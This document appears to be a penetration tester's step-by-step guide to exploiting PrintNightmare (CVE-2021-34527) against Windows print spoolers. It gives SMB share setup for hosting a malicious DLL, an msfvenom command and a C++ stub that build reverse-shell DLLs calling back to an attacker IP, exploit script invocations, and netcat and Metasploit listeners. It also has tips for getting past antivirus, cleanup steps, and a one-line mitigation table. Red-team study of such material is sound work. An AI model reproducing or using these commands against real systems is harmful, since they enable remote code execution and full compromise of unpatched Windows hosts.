CVE

CVE-2021-34527 - PrintNightmare (CVE-2021-1675): Remote code execution in Windows Spooler Service

  • demo.mp4 (557 kb)
  • Requirements

    A user account. (privs don’t matter)

    Scanner - It Was All A Dream

    A CVE-2021-34527 (a.k.a PrintNightmare) Python Scanner. Allows you to scan entire subnets for the PrintNightmare RCE (not the LPE) and generates a CSV report with the results. Tests exploitability over MS-PAR and MS-RPRN.

    This tool has “de-fanged” versions of the Python exploits, it does not actually exploit the hosts however it does use the same vulnerable RPC calls used during exploitation to determine if hosts are vulnerable.

    Github.com - byt3bl33d3r - ItWasAllADream

    Docker

    git clone https://github.com/byt3bl33d3r/ItWasAllADream
    cd ItWasAllADream && docker build -t itwasalladream .
    docker run -it itwasalladream -u user -p password -d domain 192.168.1.0/24
    

    Poetry

    git clone https://github.com/byt3bl33d3r/ItWasAllADream
    cd ItWasAllADream && poetry install && poetry shell
    itwasalladream -u user -p password -d domain 192.168.1.0/24
    

    Scanner example (docker)

    $ sudo docker run -it itwasalladream -u johndo -p Welkom1234 -d domain 10.10.10.10
    [itwasalladream] INFO - 10.10.10.10 is not vulnerable over MS-RPRN. Reason: RPC call returned access denied. This is usually an indication the host has been patched.
    [itwasalladream] INFO - 0
    [itwasalladream] INFO - completed: 100.00% (1/1)
    [itwasalladream] INFO - 0
    [itwasalladream] INFO - completed: 100.00% (1/1)
    [itwasalladream] INFO - 10.10.10.10 is vulnerable over MS-PAR. Reason: Host attempted to grab DLL from supplied share
    
    $ sudo docker run -it itwasalladream -u johndo -p Welkom1234 -d domain 10.10.10.10
    [itwasalladream] INFO - 10.10.10.10 is not vulnerable over MS-PAR. Reason: Print Spooler service is not running or inbound remote printing is disabled.
    [itwasalladream] INFO - 10.10.10.10 is not vulnerable over MS-RPRN. Reason: Print Spooler service is not running or inbound remote printing is disabled.
    

    Scanner example (poetry)

    itwasalladream -u johndo -p Welkom1234 -d domain 10.10.10.10
    [itwasalladream] INFO - 10.10.10.10 is not vulnerable over MS-PAR. Reason: Print Spooler service is not running or inbound remote printing is disabled.
    [itwasalladream] INFO - 10.10.10.10 is not vulnerable over MS-RPRN. Reason: Print Spooler service is not running or inbound remote printing is disabled.
    

    RPC Dump

    If you can reach these RPC interfaces you might be able to use printnightmare.

    rpcdump.py @ip | egrep 'MS-RPRN|MS-PAR'
    

    Setup tool for remote RCE (cube0x0)

    Ensure you have a impacket version that has this PR merged.

    mkdir printnightmare
    cd printnightmare
    mkdir payloads
    git clone https://github.com/justin-p/CVE-2021-1675
    

    Then if you are lazy just use the Taskfile included in the repo.

    task payload_folder
    task printnightmare_samba_share
    

    To restore the smb.conf and stop the service run

    task restore_samba
    

    Otherwise use the steps below

    Host Dll

    Make a backup of your smb.conf

    sudo cp /etc/samba/smb.conf etc/samba/smb.conf.bak
    

    Overwite the file with the following content

    [global]
        map to guest = Bad User
        server role = standalone server
        usershare allow guests = yes
        idmap config * : backend = tdb
        smb ports = 445
    
    [smb]
        comment = Samba
        path = /home/user/Documents/printnightmare/payloads/
        guest ok = yes
        read only = no
        browsable = yes
        force user = nobody
    

    Ensure the files are owned by nobody

    sudo chown nobody:user -R /home/user/Documents/printnightmare/payloads/
    sudo chmod -R 777 /home/user/Documents/printnightmare/payloads/
    

    Restart the smbd service

    sudo service smbd restart
    

    Don’t forget to restore the SMB config and disable the service :)

    sudo cp /etc/samba/smb.conf etc/samba/smb.conf.bak
    sudo service smbd stop
    

    Outflanks implementation

    https://github.com/outflanknl/PrintNightmare

    Did not test this yet. But seems ‘better’ then the cube0x0 implementation

    Create DLL

    MSVenom if you think AV is not a problem. Otherwise build something custom.

    MSFVenom

    msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=<YOUR IP> LPORT=<PORT TO LISTEN> -f dll -o /home/user/Documents/printnightmare/payloads/rev.dll
    

    Custom simple C++ reverse shell example

    1. Install C++ tools in visual studio.

    2. Create new project with Dynamic-Link Libary template.

    3. Download the plain_revshell.cpp file and paste the content into the existing template.

    4. Update the RHOST & RPORT on StartCallback

    5. Build the release (ctrl+shift+b)

    6. Place the DLL in the payloads folder

    BOOL WINAPI DllMain(HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
        switch (dwReason) {
        case DLL_PROCESS_ATTACH:
            StartCallback("172.16.0.137", 80); // <- update this
    

    Usage

    python3 [MSPAR|MSRPRN|MSRPRN_nobrute].py 'domain/user:pass@ip' PrinterName '\\IP_of_SMB_share\share\printer.dll'
    

    There are 3 different version. All versions have been updated to support a custom driver/printername.

    Version Info When to use
    MSPAR Abuses MSPAR When ItWasAllADream says its vulnerable
    MSRPRN Abuses MSRPRN When ItWasAllADream says its vulnerable
    MSRPRN_nobrute Abuses MSRPRN but does not brute force driver folders, see this pull When ItWasAllADream says its vulnerable but it does not seem to work and you tried everything listed in Errors & tips

    Do note that MSRPRN_nobrute is more ‘stealthy’ (in the sense that there is less activity on disk) but less forgiving. Each run of the exploit needs a new printer name and dll name if they have not been removed.

    Errors & tips

    Error Solution
    DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied permissions on the file in the SMB share
    RPRN SessionError: unknown error code: 0x180 Enable SMB2Support
    RPRN SessionError: code: 0x2: - ERROR_FILE_NOT_FOUND - The system cannot fil the file specified. Typo in supplied DLL ?
    RPRN SessionError: code: 0xd8 - ERROR_EXE_MACHINE_TYPE_MISMATCH DLL is kaduk or wrong architect (x86 vs x64)
    RPRN SessionError: code 0xe1 - ERROR_VIRUS_INFECTED AV caught you butt, try harder
    RPRN SessionError: Unknown error code: 0x8001011b Seems like the host is patched
    RPRN SessionError: code: 0x43 ERROR_BAD_NET_NAME Wrong share name used in printnightmare or typo in samba config
    SMB SessionError: STATUS_PIPE_BROKEN Print spooler service crashed during payload execution. Restart the spooler if you got a shell (PowerShell -> Restart-Service spooler. CMD -> net stop spooler && net start spooler)
    After killing the session the payload does not work a second time Always ensure the first thing you do is restart the spooler service upon a shell connect. If you did this, use a different printername. Otherwise ur fuk’d
    Sometimes when removing the print drivers the dll will execute again. This means your payload will run again. Nothing, just something to be aware of if you use a payload that adds a user or w.e.

    Check if system reaches out

    By simply trying to connect to a nc instance we can verify that the system can reach our smb server.

    Start nc on 445.

    sudo nv -nlvp 445
    

    Run MSRPRN_nobrute and try to connect to nc.

    python3 MSRPRN_nobrute.py 'user:pass@ip' PrinterName '\\IP_of_SMB_share\share\printer.dll'
    

    test_if_system_reaches_out

    Exploit

    Depending on the dll you use/actions you preform the the spooler services can crashes/hangs. From my experience in these cases you wont be able to run printnightmare a second time if you did not restart the spooler service before hand. A way around this might be to follow the Outflank advice to use printnightmare to load a DLL that starts a second thread/process with a new DLL that contains the actual RCE/w.e. payload.

    Setup a listener

    Netcat

    nc -nlvp 80
    

    MSF multi handler

    msfconsole -x "use exploit/multi/handler;\
    set payload generic/shell_reverse_tcp;\
    set LHOST 172.16.0.137;\
    set LPORT 80;\
    set ExitOnSession false;\
    run -j"
    

    Run printnightmare

    python3 [MSPAR|MSRPRN|MSRPRN_nobrute].py  'domain/user:pass@ip' PrinterName '\\IP_of_SMB_share\share\printer.dll'
    

    From my experience the Spooler services sometimes crashes/hangs and you wont be able to run printnightmare a second time if you don’t restart the spooler service. If you don’t spawn a new process in the DLL ensure that the first thing you do is restart the spooler service.

    net stop spooler && net start spooler
    

    Run

    Cleanup

    PowerShell

    Load PrintManagement PS Module (should be loaded by default on W10)

    Import-Module PrintManagement
    

    List current print drivers

    Get-PrinterDriver
    

    Remove print drivers

    Get-PrinterDriver -Name PrinterName
    

    Oneliner

    Watch out, Where-Object uses Wildcards to get both drivers that get installed (PrinterName0, PrinterName1). Also, make sure to update the dllname.dll in the Get-Item action.

    Restart-Service Spooler;Import-Module PrintManagement;Get-PrinterDriver | Where-Object {$_.Name -like "*PrinterName*"} | Remove-PrinterDriver;Stop-Service spooler;Start-Sleep -s 2;Get-Item 'C:\windows\system32\spool\drivers\x64\3\New\','C:\windows\system32\spool\drivers\x64\3\Old\','C:\windows\system32\spool\drivers\x64\3\dllname.dll' -ErrorAction SilentlyContinue | Remove-Item;Start-Service spooler;Start-Sleep -s 2;Get-PrinterDriver
    

    Error HRESULT 0x800706be on Remove-PrintDriver can happen. This is due the print spooler crashing.

    Mitigation

    Method Fix
    RCE MSRPRN Update Windows
    RCE MSPAR Update Windows
    LPE Not tested yet